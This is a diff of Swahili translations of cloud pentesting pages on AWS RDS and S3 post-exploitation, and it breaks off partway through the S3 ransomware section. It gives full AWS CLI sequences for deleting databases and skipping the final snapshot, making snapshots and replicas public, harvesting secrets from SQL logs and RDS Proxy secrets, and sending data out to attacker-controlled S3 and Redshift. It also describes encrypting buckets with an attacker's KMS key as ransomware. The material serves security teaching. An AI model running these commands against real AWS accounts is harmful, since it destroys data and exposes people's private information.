{{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index e43538ba9..cd58ac503 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Iwapo mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB iwe inapatikana kwa umma** kwa kuunda snapshot ya DB, kisha kuunda DB inayopatikana kwa umma kutoka kwa snapshot hiyo. +Ikiwa mshambuliaji ana ruhusa za kutosha, anaweza kufanya **DB inapatikana kwa umma** kwa kuunda snapshot ya DB, kisha kuunda DB inayopatikana kwa umma kutoka kwa snapshot hiyo. ```bash aws rds describe-db-instances # Get DB identifier @@ -38,11 +38,47 @@ aws rds modify-db-instance \ # Connect to the new DB after a few mins ``` +### `rds:StopDBCluster` & `rds:StopDBInstance` +Mshambuliaji mwenye rds:StopDBCluster au rds:StopDBInstance anaweza kulazimisha kusimamisha mara moja RDS instance au cluster nzima, na kusababisha ukosefu wa upatikanaji wa database, miunganisho kuvunjika, na kusitishwa kwa michakato inayotegemea database. + +Kusimamisha DB instance moja (mfano): +```bash +aws rds stop-db-instance \ +--db-instance-identifier +``` +Kusimamisha DB cluster yote (mfano): +```bash +aws rds stop-db-cluster \ +--db-cluster-identifier +``` +### `rds:Delete*` + +Mshambulizi aliyepatiwa ruhusa rds:Delete* anaweza kuondoa rasilimali za RDS, akifuta DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups na artefakti zinazohusiana, na kusababisha kukatika kwa huduma mara moja, kupoteza data, uharibifu wa pointi za urejesho na kupoteza ushahidi wa forensiki. +```bash +# Delete a DB instance (creates a final snapshot unless you skip it) +aws rds delete-db-instance \ +--db-instance-identifier \ +--final-db-snapshot-identifier # omit or replace with --skip-final-snapshot to avoid snapshot + +# Delete a DB instance and skip final snapshot (more destructive) +aws rds delete-db-instance \ +--db-instance-identifier \ +--skip-final-snapshot + +# Delete a manual DB snapshot +aws rds delete-db-snapshot \ +--db-snapshot-identifier + +# Delete an Aurora DB cluster (creates a final snapshot unless you skip) +aws rds delete-db-cluster \ +--db-cluster-identifier \ +--final-db-snapshot-identifier # or use --skip-final-snapshot +``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Mshambuliaji mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuiweka **kwa umma** **kupatikana**. Kisha, anaweza kuunda DB katika akaunti yake mwenyewe kutoka kwenye snapshot hiyo. +Mvamizi mwenye ruhusa hizi anaweza **kuunda snapshot ya DB** na kuitengenezea **kwa umma** **kupatikana**. Kisha, anaweza kuunda tu katika akaunti yake mwenyewe DB kutoka kwa snapshot hiyo. -Iwapo mshambuliaji **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshots zilizotengenezwa **nyengine** **kuwa za umma**. +Ikiwa mvamizi **hana `rds:CreateDBSnapshot`**, bado anaweza kufanya snapshot zilizoundwa **zingine** **za umma**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **download portions of an RDS instance's log files**. Ikiwa data nyeti au access credentials zikorekodiwa kwa bahati kwenye logi, mshambuliaji anaweza kutumia taarifa hizi kuongeza vibali vyake au kufanya vitendo visivyoidhinishwa. +Mshambuliaji mwenye ruhusa ya `rds:DownloadDBLogFilePortion` anaweza **kupakua sehemu za faili za logi za mfano wa RDS**. Ikiwa data nyeti au kredensiali za ufikiaji zinaandikwa kwa bahati mbaya, mshambuliaji anaweza kutumia taarifa hizi kuongezea ruhusa zao au kufanya vitendo visivyoidhinishwa. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potential Impact**: Ufikiaji wa taarifa nyeti au hatua zisizoidhinishwa kwa kutumia leaked credentials. +**Athari Inayoweza Kutokea**: Ufikiaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia leaked credentials. ### `rds:DeleteDBInstance` -Mshambuliaji mwenye ruhusa hizi anaweza **DoS existing RDS instances**. +Mshambuliaji aliye na ruhusa hizi anaweza **DoS RDS instances zilizopo**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Athari inayowezekana**: Kufutwa kwa RDS instances zilizopo, na uwezekano wa kupoteza data. +**Athari inayowezekana**: Uondoshaji wa instances za RDS zilizopo, na uwezekano wa kupoteza data. ### `rds:StartExportTask` > [!NOTE] > TODO: Jaribu -Mshambuliaji mwenye ruhusa hii anaweza kuhamisha snapshot ya RDS instance kwenda S3 bucket. Ikiwa mshambuliaji anadhibiti S3 bucket ya lengo, anaweza kupata data nyeti ndani ya snapshot iliyohamishwa. +Mshambulizi mwenye ruhusa hii anaweza **kuhamisha snapshot ya instance ya RDS kwenda kwenye S3 bucket**. Ikiwa mshambulizi anadhibiti S3 bucket ya lengo, anaweza kwa uwezekano kupata data nyeti iliyomo kwenye snapshot iliyohamishwa. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Athari inayowezekana**: Kufikia data nyeti katika snapshot iliyosafirishwa. +**Athari inayowezekana**: Kupata data nyeti kwenye snapshot iliyotumwa. -### Kuiga automated backups kati ya Region kwa kurejesha kwa siri (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) -Tumia vibaya replication ya automated backups ya cross-Region ili kwa utulivu kunakili automated backups za instance ya RDS ndani ya AWS Region nyingine na kuziweka tena huko. Mshambuliaji anaweza kisha kufanya DB iliyorejeshwa iwe publicly accessible na kuweka upya master password ili kupata data out-of-band katika Region ambayo walinzi wanaweza wasiichunguze. +Tumia vibaya cross-Region automated backups replication kuiga kimyakimya automated backups za instance ya RDS hadi AWS Region nyingine na kurejesha hapo. Mvamizi anaweza kisha kufanya DB iliyorejeshwa ifikike kwa umma na kuweka upya master password ili kupata data out-of-band katika Region ambayo walinda hawatafuatilia. Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` katika Region ya lengo -- `rds:DescribeDBInstanceAutomatedBackups` katika Region ya lengo -- `rds:RestoreDBInstanceToPointInTime` katika Region ya lengo -- `rds:ModifyDBInstance` katika Region ya lengo -- `rds:StopDBInstanceAutomatedBackupsReplication` (usafishaji wa hiari) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ili kuifanya DB iliyorejeshwa ifikike hadharani) +- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region +- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region +- `rds:RestoreDBInstanceToPointInTime` in the destination Region +- `rds:ModifyDBInstance` in the destination Region +- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -Impact: Persistence na data exfiltration kwa kurejesha nakala ya production data katika Region nyingine na kuifanya ionekane hadharani kwa kutumia credentials zinazodhibitiwa na mshambuliaji. +Impact: Uendelevu na uondoshaji wa data kwa kurejesha nakala ya data ya production katika Region nyingine na kuiweka hadharani kwa kutumia credentials zinazodhibitiwa na mvamizi.
-CLI kutoka mwanzo hadi mwisho (badilisha placeholders) +CLI kamili (badilisha vigezo) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
-### Washa ufuatiliaji kamili wa SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs +### Washa logging kamili ya SQL kupitia DB parameter groups na exfiltrate kupitia RDS log APIs -Tumia vibaya `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa maagizo yote ya SQL yanayotekelezwa na applications (hakuna DB engine credentials zinahitajika). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs. +Tumia vibaya `rds:ModifyDBParameterGroup` pamoja na RDS log download APIs ili kunasa statement zote za SQL zinazotekelezwa na applications (hakuna DB engine credentials zinahitajika). Washa engine SQL logging na pakua file logs kupitia `rds:DescribeDBLogFiles` na `rds:DownloadDBLogFilePortion` (au REST `downloadCompleteLogFile`). Inafaa kukusanya queries ambazo zinaweza kuwa na secrets/PII/JWTs. -Permissions needed (minimum): +Ruhusa zinazohitajika (ya chini): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (tu kwa kuambatanisha custom parameter group ikiwa instance inatumia default one) -- `rds:RebootDBInstance` (kwa parameters zinazohitaji reboot, mf. PostgreSQL) +- `rds:ModifyDBInstance` (tu ili kuambatisha custom parameter group ikiwa instance inatumia default) +- `rds:RebootDBInstance` (kwa parameters zinahitaji reboot, mfano PostgreSQL) Steps -1) Recon target na angalia current parameter group +1) Recon target and current parameter group ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` -2) Hakikisha kundi maalum la vigezo la DB limeambatishwa (haiwezi kuhariri chaguo-msingi) -- Ikiwa instance tayari inatumia kundi maalum, tumia tena jina lake katika hatua inayofuata. -- Vinginevyo, tengeneza na uambatisha moja inayolingana na familia ya engine: +2) Hakikisha DB parameter group maalum imeambatishwa (haiwezi kuhariri ya chaguo-msingi) +- Ikiwa instance tayari inatumia DB parameter group maalum, tumia tena jina lake katika hatua inayofuata. +- Vinginevyo, unda na uambatisho mmoja unaolingana na familia ya engine: ```bash # Example for PostgreSQL 16 aws rds create-db-parameter-group \ @@ -196,7 +232,7 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Washa ufuatiliaji wa SQL wa kina +3) Washa verbose SQL logging - MySQL engines (mara moja / bila kuanzisha upya): ```bash aws rds modify-db-parameter-group \ @@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- Injini za PostgreSQL (reboot required): +- PostgreSQL injini (inahitaji kuanzishwa upya): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) Acha workload ikimbie (au tengeneza queries). Statements zitaandikwa kwenye engine file logs +4) Acha workload iende (au tengeneza queries). Statements zitaandikwa kwenye engine file logs - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Gundua na pakua logs (hakuna DB creds zinazohitajika) +5) Gundua na pakua logs (hakuna DB creds zinahitajika) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -235,18 +271,18 @@ aws rds download-db-log-file-portion \ --starting-token 0 \ --output text > dump.log ``` -6) Chunguza nje ya mtandao kwa data nyeti +6) Chambua nje ya mtandao kwa data nyeti ```bash grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head ``` -Mfano wa ushahidi (imehaririwa): +Mfano wa ushahidi (umehaririwa): ```text 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Usafishaji -- Rudisha vigezo kuwa chaguo-msingi na anzisha upya ikiwa inahitajika: +- Rudisha vigezo kwenye chaguo-msingi na anzisha upya ikiwa inahitajika: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Athari: Post-exploitation kupata data kwa kukamata statements zote za SQL za application kupitia AWS APIs (hakuna DB creds), potentially leaking secrets, JWTs, na PII. +Athari: Post-exploitation kupata data kwa kurekodi statements zote za application SQL kupitia AWS APIs (hakuna DB creds), potentially leaking secrets, JWTs, and PII. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -Tumia RDS read replicas vibaya ili kupata out-of-band read access bila kugusa primary instance credentials. An attacker anaweza ku-create read replica kutoka kwa production instance, reset master password ya replica (hii haitabadilishi primary), na kwa hiari expose replica publicly ili exfiltrate data. +Kutumia vibaya RDS read replicas kupata out-of-band read access bila kugusa primary instance credentials. Mshambuliaji anaweza kuunda read replica kutoka kwa instance ya production, kuweka upya master password ya replica (hii haibadilishi primary), na kwa hiari kuifungua replica hadharani ili exfiltrate data. -Ruhusa zinazohitajika (chini kabisa): +Permissions needed (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (ikiwa utaifungua kwa umma) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -Athari: Read-only access kwa data za production kupitia replica yenye attacker-controlled credentials; uwezekano mdogo wa kugunduliwa kwa sababu primary inabaki bila kuguswa na replication inaendelea. +Athari: Read-only access kwa data ya production kupitia replica yenye credentials zinazodhibitiwa na mshambuliaji; uwezekano mdogo wa kugunduliwa kwani primary inabaki bila kuguswa na replication inaendelea. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -306,11 +342,11 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier ``` Mfano wa ushahidi (MySQL): - Hali ya Replica DB: `available`, read replication: `replicating` -- Uunganisho uliofanikiwa kwa nenosiri jipya na `@@read_only=1` ukithibitisha upatikanaji wa replica wa kusoma pekee. +- Muunganisho uliofanikiwa kwa nenosiri jipya pamoja na `@@read_only=1` ukithibitisha ufikiaji wa replica wa read-only. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Tumia RDS Blue/Green kunakili DB ya production ndani ya green environment inayorudishwa kwa kuendelea na ambayo ni read-only. Kisha weka upya credentials za master za green ili upate data bila kugusa blue (prod) instance. Hii ni ya kificho zaidi kuliko kushiriki snapshot na mara nyingi hupitisha ufuatiliaji unaolenga chanzo pekee. +Tumia vibaya RDS Blue/Green ku-clone production DB ndani ya green environment inayoreplicated kila wakati na read-only. Kisha reset green master credentials ili kupata data bila kugusa blue (prod) instance. Hii ni ya siri zaidi kuliko snapshot sharing na mara nyingi hupita monitoring inayolenga chanzo pekee. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,22 +393,22 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Athari: Kusoma-tu lakini upatikanaji wa data kamili kwa clone ya uzalishaji karibu kwa wakati halisi bila kubadilisha instance ya uzalishaji. Inafaa kwa uondoaji wa data kwa njia fiche (stealthy) na uchambuzi wa nje ya mtandao. +Athari: Upatikanaji kamili wa data kwa kusoma-tu kwenye kloni inayokaribia wakati-halisi ya mazingira ya production bila kubadilisha production instance. Inafaa kwa uchimbaji wa data kwa njia ya kisiri na uchambuzi nje ya mtandao. ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password -Abuse Aurora to enable the RDS Data API HTTP endpoint on a target cluster, reset the master password to a value you control, and run SQL over HTTPS (no VPC network path required). Works on Aurora engines that support the Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions). +Tumia Aurora kuwezesha RDS Data API HTTP endpoint kwenye cluster lengwa, weka upya master password kwa thamani unayotawala, na endesha SQL kwa HTTPS (hakuna njia ya mtandao wa VPC inayohitajika). Inafanya kazi kwenye engines za Aurora zinazounga mkono Data API/EnableHttpEndpoint (mfano, Aurora MySQL 8.0 provisioned; baadhi ya toleo za Aurora PostgreSQL/MySQL). -Ruhusa (za chini kabisa): +Ruhusa (chini kabisa): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Athari: Kupitia segmentation ya mtandao na ku-exfiltrate data kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB. +Athari: Kupita vikwazo vya segmentation ya mtandao na kutoa data kupitia AWS APIs bila muunganisho wa moja kwa moja wa VPC kwa DB.
-End-to-end CLI (mfano: Aurora MySQL) +CLI kutoka mwanzo hadi mwisho (mfano wa Aurora MySQL) ```bash # 1) Identify target cluster ARN REGION=us-east-1 @@ -424,22 +460,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ ```
-Maelezo: -- Ikiwa multi-statement SQL itakataliwa na rds-data, tuma miito tofauti za execute-statement. -- Kwa engines ambazo modify-db-cluster --enable-http-endpoint haina athari, tumia rds enable-http-endpoint --resource-arn. -- Hakikisha engine/version kwa kweli inaunga mkono Data API; vinginevyo HttpEndpointEnabled itabaki False. +Vidokezo: +- Ikiwa SQL yenye tamko nyingi inakataliwa na rds-data, tuma execute-statement tofauti kwa kila tamko. +- Kwa engines ambapo modify-db-cluster --enable-http-endpoint haina athari, tumia rds enable-http-endpoint --resource-arn. +- Hakikisha engine/version inasaidia Data API; vinginevyo HttpEndpointEnabled itaendelea kuwa False. -### Vuna DB credentials kupitia RDS Proxy siri za uthibitisho (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Vuna nywila za DB kupitia siri za uthibitisho za RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Tumia vibaya usanidi wa RDS Proxy ili kugundua siri ya Secrets Manager inayotumika kwa uthibitisho wa backend, kisha soma siri hiyo ili kupata database credentials. Mazingira mengi yanaruhusu kwa upana `secretsmanager:GetSecretValue`, na kufanya hili kuwa njia rahisi ya kupata DB creds. Kama siri inatumia CMK, ruhusa za KMS zilizo na mipangilio isiyofaa zinaweza pia kuruhusu `kms:Decrypt`. +Tumia vibaya usanidi wa RDS Proxy kugundua siri ya Secrets Manager inayotumika kwa backend authentication, kisha soma siri hiyo kupata nywila za database. Miundombinu mingi inatoa ruhusa pana ya `secretsmanager:GetSecretValue`, jambo linalofanya hapa kuwa pivot rahisi kuelekea DB creds. Ikiwa siri inatumia CMK, vibali vya KMS visivyoandikwa vizuri vinaweza pia kuruhusu `kms:Decrypt`. -Ruhusa zinazohitajika (kwa angalau): +Vibali vinavyohitajika (kiwango cha chini): - `rds:DescribeDBProxies` -- `secretsmanager:GetSecretValue` on the referenced SecretArn -- Hiari endapo siri inatumia CMK: `kms:Decrypt` on that key +- `secretsmanager:GetSecretValue` kwenye SecretArn iliyotajwa +- Hiari ikiwa siri inatumia CMK: `kms:Decrypt` kwenye ufunguo huo -Athari: Kufichuka mara moja kwa DB username/password zilizowekwa kwenye proxy; inaruhusu ufikiaji wa moja kwa moja wa DB au further lateral movement. +Impact: Kufichuka mara moja kwa DB username/password iliyowekwa kwenye proxy; inawezesha ufikiaji wa moja kwa moja wa DB au further lateral movement. Hatua ```bash @@ -454,7 +490,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Maabara (ya chini kabisa ili kuiga) +Lab (ya chini kabisa ili kuirudia) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -480,17 +516,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Uondoaji wa data unaoendelea wa kimfumo na wa siri kupitia Aurora zero‑ETL kwenda Amazon Redshift (rds:CreateIntegration) +### Utoaji wa siri wa data unaoendelea kupitia Aurora zero‑ETL kwenda Amazon Redshift (rds:CreateIntegration) -Kutumia mbaya Aurora PostgreSQL zero‑ETL integration ili kuiga mara kwa mara data ya uzalishaji ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye uvumilivu ambayo inaruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN ya cluster maalum ya Aurora, mshambuliaji anaweza kuanzisha nakala ya data inayokaribia wakati‑halisi bila DB creds, snapshots au uwazi wa mtandao. +Tumia vibaya Aurora PostgreSQL zero‑ETL integration kuiga kwa mfululizo data za uzalishaji ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa sera ya rasilimali ya Redshift yenye ruhusa nyingi inayoruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN maalum ya Aurora cluster, mshambuliaji anaweza kuanzisha nakala ya data karibu‑kwa‑muda‑halisi bila DB creds, snapshots au kufichuliwa kwa mtandao. Ruhusa zinazohitajika (chini kabisa): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` -- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (kwa kuendesha maswali) -- `rds-data:ExecuteStatement` (hiari; kuweka data za awali ikiwa inahitajika) +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) +- `rds-data:ExecuteStatement` (optional; to seed data if needed) -Imethibitishwa kwenye: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Imejaribiwa kwenye: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Unda namespace ya Redshift Serverless + workgroup @@ -540,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Unda klasta ya Aurora PostgreSQL (uwezeshe Data API na logical replication) +3) Unda Aurora PostgreSQL cluster (wezesha Data API na logical replication) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -571,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) Unda uunganishaji wa zero‑ETL kutoka RDS +4) Unda muunganisho wa zero‑ETL kutoka RDS ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -583,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Kufanya materialize na kuhoji data iliyorudiwa katika Redshift +5) Ku-materialize na kufanya query data iliyokopia katika Redshift ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -599,9 +635,9 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d Ushahidi ulioonekana katika jaribio: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... - SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na state PendingDbConnectState kabla ya kuunda DB. -- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha tables kulifunua schema ztl na table customers; kuchagua kutoka ztl.customers kilirudisha mistari 2 (Alice, Bob). +- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha jedwali kulifunua schema ztl na table customers; kuchagua kutoka ztl.customers kilirudisha safu 2 (Alice, Bob). -Athari: Exfiltration endelevu, karibu kwa wakati halisi, ya jedwali zilizochaguliwa za Aurora PostgreSQL kwenda Redshift Serverless zinadhibitiwa na mshambuliaji, bila kutumia database credentials, backups, au network access kwa source cluster. +Athari: Continuous near‑real‑time exfiltration of selected Aurora PostgreSQL tables into Redshift Serverless controlled by the attacker, without using database credentials, backups, or network access to the source cluster. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 908014938..5b2621799 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -10,29 +10,60 @@ For more information check: ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Taarifa Nyeti +### Sensitive Information -Wakati mwingine utaweza kupata taarifa nyeti zinazoweza kusomwa ndani ya buckets. Kwa mfano, terraform state secrets. +Mara nyingine utaweza kupata sensitive information zinazosomwa ndani ya buckets. Kwa mfano, terraform state secrets. ### Pivoting Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Mshambulizi mwenye ruhusa za kuandika anaweza **modify the code** kutoka kwa bucket ili **pivot** kwa majukwaa mengine, au **takeover accounts** kwa kuhariri JS files. +For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Mvumilizi mwenye write permissions anaweza **modify the code** kutoka kwa bucket ili **pivot** kwenda kwenye platforms nyingine, au **takeover accounts** kwa kubadilisha JS files. ### S3 Ransomware -Katika senario hii, **mshambulizi creates a KMS (Key Management Service) key in their own AWS account** au akaunti nyingine iliyoathirika. Kisha wanafanya **key accessible to anyone in the world**, ikiruhusu mtumiaji wowote wa AWS, role, au akaunti kusimba objects kwa kutumia key hii. Hata hivyo, objects hizi haiwezi kufunguliwa. +Katika tukio hili, the **attacker creates a KMS (Key Management Service) key in their own AWS account** au akaunti nyingine iliyodukuliwa. Baadaye wanafanya **key accessible to anyone in the world**, kuruhusu mtumiaji yeyote wa AWS, role, au account kuencrypt objects kutumia key hii. Hata hivyo, objects hizo zinaweza kutoweza kufunguliwa (decrypted). -Mshambulizi anaelekeza lengo la **S3 bucket and gains write-level access** kwa kutumia mbinu mbalimbali. Hii inaweza kuwa kutokana na usanidi duni wa bucket unaoifanya ionekane kwa umma au mshambulizi kupata ufikiaji wa mazingira ya AWS yenyewe. Mshambulizi kwa kawaida analenga buckets zinazohifadhi taarifa nyeti kama personally identifiable information (PII), protected health information (PHI), logs, backups, na zaidi. +The attacker identifies a target **S3 bucket and gains write-level access** kwa kutumia mbinu mbalimbali. Hii inaweza kusababishwa na misanidiwa mibaya ya bucket inayoiweka wazi hadharani au kwa sababu attacker anapata access kwa AWS environment yenyewe. The attacker kwa kawaida hualenga buckets zenye sensitive information kama personally identifiable information (PII), protected health information (PHI), logs, backups, na zaidi. -Kuamua kama bucket inaweza kulengwa kwa ransomware, mshambulizi huangalia usanidi wake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **multi-factor authentication delete (MFA delete)** imewezeshwa. Ikiwa Object Versioning haijawezeshwa, mshambulizi anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete imezimwa, mshambulizi anaweza **disable Object Versioning**. Ikiwa zote mbili, Object Versioning na MFA delete, zimewezeshwa, inakuwa ngumu zaidi kwa mshambulizi kufanya ransomware kwa bucket hiyo maalum. +Ili kubaini kama bucket inaweza kulengwa kwa ransomware, the attacker anacheki configuration yake. Hii inajumuisha kuthibitisha kama **S3 Object Versioning** imewezeshwa na kama **multi-factor authentication delete (MFA delete) is enabled**. Ikiwa Object Versioning haijawezeshwa, the attacker anaweza kuendelea. Ikiwa Object Versioning imewezeshwa lakini MFA delete haijawezeshwa, the attacker anaweza **disable Object Versioning**. Ikiwa Object Versioning na MFA delete zote zimo enabled, inakuwa ngumu zaidi kwa the attacker kufanya ransomware kwenye bucket hiyo maalum. -Using the AWS API, mshambulizi **replaces each object in the bucket with an encrypted copy using their KMS key**. Hii inafanya data ndani ya bucket isiweze kufikiwa bila key. +Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. Hii kwa ufanisi inafanya data ndani ya bucket kufungwa kwa encryption, na kuitafanya isifikike bila key. -Ili kuongeza shinikizo, mshambulizi anapanga kufuta KMS key iliyotumika katika shambulio. Hii inampa mhusika dirisha la siku 7 kurejesha data zao kabla key ifutwe na data kupotea kwa kudumu. +Ili kuongeza shinikizo, the attacker anapanga deletion ya KMS key iliyotumika katika shambulio. Hii inawapa walengwa dirisha la siku 7 kurejesha data zao kabla key itakayotolewa na data kuwa imepotea kwa kudumu. -Mwishowe, mshambulizi anaweza kupakia faili ya mwisho, kawaida inayoitwa "ransom-note.txt," ambayo ina maelekezo kwa mhusika jinsi ya kupata faili zao. Faili hii inapakiwa bila encryption, kwa kawaida ili kuvutia umakini wa mhusika na kumfahamisha kuhusu shambulio la ransomware. +Mwisho, the attacker anaweza upload file ya 